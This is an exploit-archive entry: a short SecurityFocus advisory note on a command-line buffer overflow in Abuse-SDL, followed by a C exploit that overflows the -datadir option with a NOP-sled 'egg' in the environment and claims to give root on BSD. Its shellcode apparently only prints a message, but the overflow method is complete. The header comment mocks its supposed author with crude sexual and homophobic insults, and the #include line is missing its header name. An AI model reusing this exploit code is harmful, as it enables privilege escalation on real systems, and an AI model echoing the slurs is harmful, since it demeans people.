source: http://www.securityfocus.com/bid/7982/info A buffer overflow vulnerability has been reported for Abuse-SDL that may result in the execution of attacker-supplied code. The vulnerability exists due to insufficient bounds checking performed on certain command-line options. /* hey all.. this is a l33t 0x36 0day exploit by Matrix_DK :) This should give root, i give root to by the way, on all BSD systems with abuse installed. -r-xr-xr-x 1 root wheel 675344 Jun 18 13:37 hi hi owned by root group wheel.. this is a hacker goodie I hoped abuse was my favorite game assabuse portet to unix.. so i tried to load pics of my boyfriend johnlw ass into the game using -datadir... but the program died??? could this be exploitet??? i tried to exploit this myself, but i have no skillz. So i asked the other gays from 0x36, but there did not know how to do this hardcore command line overflows. I asked inv, but he told me to go ass fuck casto... inv is l33t he knows many exploit tricks.. he is my hero.. So i had to steal some code from 'smashing the stack for fun and profit' to get it to work... but now i have become a hacker i am going to send out many advisories so other people know im a hacker.. and one day maybe if i am lucky i can send out some exploits to.. but i have to get some unix, debug and code skillz first... i have made the shellcode myself.. look how l33t it is, it prints 'what is the matrix ?' :).. that is cool.. us real hackers love the matrix, we jerk off to trinity in slow motion, and use nicks from the movie. */ #include #define DEFAULT_BUFFER_SIZE 350 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\x50\x68\x69\x78\x20\x3f\x68\x6d" "\x61\x74\x72\x68\x74\x68\x65\x20\x68\x20" "\x69\x73\x20\x68\x77\x68\x61\x74\x89\xe3" "\x6a\x14\x53\x50\x50\xb0\x04\xcd\x80\x31" "\xc0\xb0\x01\xcd\x80"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } int main() { char *buff, *ptr, *egg; long *addr_ptr, addr; int bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; addr = get_esp(); buff = malloc(bsize); egg = malloc(eggsize); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/usr/local/bin/abuse.sdl -datadir $RET"); }